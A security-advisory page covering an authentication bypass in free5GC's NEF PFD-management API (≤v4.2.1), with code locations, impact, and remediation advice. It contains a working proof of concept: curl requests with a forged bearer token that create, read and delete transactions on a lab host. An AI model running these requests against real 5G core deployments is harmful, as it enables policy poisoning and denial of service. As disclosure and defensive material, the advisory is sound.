Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
Forged/arbitrary tokens are accepted with no inbound auth (PR:N, AC:L, AV:N); writes to UDR give I:H, deletion gives A:H, and policy reads give C:L.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/nef:v4.2.0 - Runtime NEF commit:
5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-pfd-management route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef):
- Route group mounted without auth middleware:
NFs/nef/internal/sbi/server.go:52 - Transaction routes exposed at
/:scsAsID/transactionsand/:scsAsID/transactions/:transID:NFs/nef/internal/sbi/api_pfd.go:13 - Create handler still contains
// TODO: Authorize the AF:NFs/nef/internal/sbi/processor/pfd.go:70 - POST allocates a new PFD transaction and writes to UDR:
NFs/nef/internal/sbi/processor/pfd.go:63 - GET reads transaction state:
NFs/nef/internal/sbi/processor/pfd.go:189 - DELETE removes transaction state:
NFs/nef/internal/sbi/processor/pfd.go:328 - NEF context only exposes outbound token acquisition (
GetTokenCtx); there is no inbound authorization path:NFs/nef/internal/context/nef_context.go:153 - Config validation only allows
nnef-pfdmanagementandnnef-oam:NFs/nef/pkg/factory/config.go:126
PoC
Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
- Seed an AF context (also accepted with forged token):
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions- CREATE PFD transaction with forged token ->
201 Created:
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions- READ ->
200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1- DELETE ->
204 No Content:
curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1- READ again ->
404 PFD transaction not found, confirming state was actually deleted.
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success codes:
[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2]
[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions
[INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]
[INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
[INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can:
- Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification.
- Read existing PFD transactions, leaking AF-supplied policy data.
- Delete PFD transactions, denying service to legitimately provisioned application detection rules.
The PFD-management route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc <=v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23
AnalysisAI
Authentication bypass in free5GC's NEF (Network Exposure Function) through v4.2.1 lets any party with SBI network reachability create, read, and delete 3gpp-pfd-management transaction state using a forged or arbitrary bearer token such as 'Bearer not-a-real-token'. Because the PFD-management route group is mounted with no inbound OAuth2 middleware - and remains reachable even when the runtime ServiceList omits it - attackers can poison PFD policy written to UDR (affecting downstream SMF/UPF traffic classification), leak AF-supplied policy data, or delete provisioned rules. Publicly available exploit code exists (full end-to-end PoC in the GHSA advisory), though EPSS is low (0.04%, 11th percentile) and it is not in CISA KEV.
Technical ContextAI
free5GC is an open-source 5G core network implementation written in Go; the NEF is the standardized Service-Based Interface (SBI) function that exposes core capabilities to external Application Functions (AFs), including the Nnef_PFDManagement service and its 3gpp-pfd-management API for Packet Flow Description provisioning. In 5G SBI architecture, inbound requests are supposed to be protected by OAuth2 access tokens issued by the NRF, and NEF here even advertises 'OAuth2 setting receive from NRF: true'. The root cause is CWE-862 (Missing Authorization) combined with CWE-306 (Missing Authentication for a Critical Function): the route group is mounted at server.go:52 with no auth middleware, the create handler in processor/pfd.go still carries a '// TODO: Authorize the AF' stub, and the NEF context (nef_context.go:153) only implements outbound token acquisition (GetTokenCtx) with no inbound verification path. The upstream fix (nef PR #23) adds an AuthorizationCheck interface calling oauth.VerifyOAuth against the NRF cert. The affected package is the Go module github.com/free5gc/nef (purl pkg:go/github.com_free5gc_nef).
RemediationAI
Vendor-released patch: upgrade free5GC/NEF to v4.2.2 or later, which is the fixed version per ENISA EUVD (< 4.2.2 affected); the upstream code fix is delivered in NEF pull request https://github.com/free5gc/nef/pull/23, which introduces an AuthorizationCheck path that verifies inbound OAuth2 bearer tokens against the NRF certificate (VerifyOAuth) and adds the previously missing 3gpp-traffic-influence and nnef-callback service declarations. Because the route group is mounted regardless of ServiceList, removing the service from configuration is NOT an effective control and should not be relied upon. Until the upgrade is applied, the practical compensating control is network isolation: strictly firewall the NEF SBI listener (e.g. tcp/8000 in the reference lab) so only trusted NRF/AF/core peers can reach it, and place NEF behind a service mesh or reverse proxy that enforces bearer-token validation at the edge - the trade-off is added operational complexity and that a proxy-enforced check must independently validate the NRF-issued token rather than merely checking for the header's presence. Consult GHSA-5f62-53r8-qrqf for authoritative guidance.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-862 – Missing Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32553
GHSA-5f62-53r8-qrqf